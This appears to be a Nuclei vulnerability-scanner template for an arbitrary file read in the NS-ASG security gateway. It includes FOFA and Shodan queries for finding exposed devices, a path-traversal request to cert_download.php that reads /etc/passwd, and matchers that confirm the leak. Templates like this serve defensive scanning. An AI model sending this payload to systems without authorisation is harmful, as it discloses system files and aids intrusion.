id: nsasg-arbitrary-file-read

info:
  name: NS ASG Arbitrary File Read
  author: pikpikcu,ritikchaddha
  severity: high
  reference:
    - https://zhuanlan.zhihu.com/p/368054963
    - http://wiki.xypbk.com/Web安全/网康%20NS-ASG安全网关/网康%20NS-ASG安全网关%20任意文件读取漏洞.md
  metadata:
    fofa-query: app="网康科技-NS-ASG安全网关"
    shodan-query: http.title:“NS-ASG”
  tags: nsasg,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "$certfile"
          - "application/pdf"
        condition: and